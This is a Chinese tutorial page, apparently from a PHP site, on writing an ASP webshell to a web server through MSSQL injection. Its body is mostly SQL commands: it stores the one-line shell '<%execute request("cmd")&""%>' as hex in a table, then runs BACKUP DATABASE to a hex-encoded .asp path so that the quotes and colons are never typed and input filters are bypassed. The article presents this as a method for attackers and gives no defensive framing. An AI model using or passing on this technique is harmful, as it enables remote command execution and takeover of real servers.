Mssql Backup a Shell 突破特殊字符
发布:smiling 来源: PHP粉丝网 添加日期:2014-03-07 10:21:26 浏览: 评论:0
1.插入数据
mssql注射使用Backup或makewebtask得到webshell,在写入webshell代码时,如果过滤了一些特殊字符,如" '等。我们先mssql分析器里“查询”:
- use pubs; <===使用数据哭pubs
- create table cmd (str image); <===建立个表cmd 一个属性为image的列
- insert into cmd (str) values ('<%execute request("cmd")&""%>') <===插入数据为 <%execute request("cmd")&""%>
- select * from cmd; <===查询输出cmd里的所有数据
查询输出str为:
0x3C256578656375746520726571756573742822636D642229262222253E
我们不管插入str什么数据,在数据库里会自动转为hex编码,那么我们可以直接在上面的sql语句里insert into 的数据改为hex编码:
- use pubs
- create table cmd (str image)
- insert into cmd(str) values(0x3C256578656375746520726571756573742822636D642229262222253E)
- select * from cmd
查询输出str为:
0x3C256578656375746520726571756573742822636D642229262222253E
为什么2种方法得到的结果一样,但是第2种方法里插入的数据,就没有' " &等等。
2.导出路径
常规的插入数据后导出webshell的语句为:
backup database model to disk='g:wwwtestl.asp';
显然导出路径里包涵了':等,我们照样可以使用hex编码来突破:
- declare @a sysname
- select @a=0x673A5C777777746573745C6C2E617370 <====0x673A5C777777746573745C6C2E617370为g:wwwtestl.asp对应的hex代码
- backup database pubs to disk=@a
运行查询,可以成功导出webshell。
3.小结
结合1,2我们可以得到完整的导出webshell的sql语句格式为:
- use model
- create table cmd (str image)
- insert into cmd(str) values(0x***********)
- declare @a sysname select @a=0x********** backup database pubs to
Tags: Mssql Backup Shell 特殊字符
相关文章
- ·Mssql和Mysql的安全性分析(2013-11-11)
- ·MySQL中select into和MSSQL select into用法区别(2014-10-03)
- ·mysql数据库中innobackupex xtrabackup备份/还原(2014-09-22)
- ·innobackupex-1.5.1: fatal error: no innodb_buffer_pool_filename(2014-09-28)
- ·mysql定时备份数据库的shell脚本详解 (2014-09-29)
- ·shell实现mysql mysqldump实现数据全备份或增量备份(2014-09-29)
- ·MySQL用shell命令导入*.sql数据库(2014-10-03)
- ·linux中shell脚本进行MySQL数据库定时备份(2014-10-09)
- ·分享一个shell,它能自动恢复mysql主从错误(2015-04-17)
- ·shell批量修改MySQL存储引擎类型2种方法(2015-04-18)
- ·mysql批量删除特殊字符串(2014-10-10)
推荐文章
热门文章
最新评论文章
- 写给考虑创业的年轻程序员(10)
- PHP新手上路(一)(7)
- 惹恼程序员的十件事(5)
- PHP邮件发送例子,已测试成功(5)
- 致初学者:PHP比ASP优秀的七个理由(4)
- PHP会被淘汰吗?(4)
- PHP新手上路(四)(4)
- 如何去学习PHP?(2)
- 简单入门级php分页代码(2)
- php中邮箱email 电话等格式的验证(2)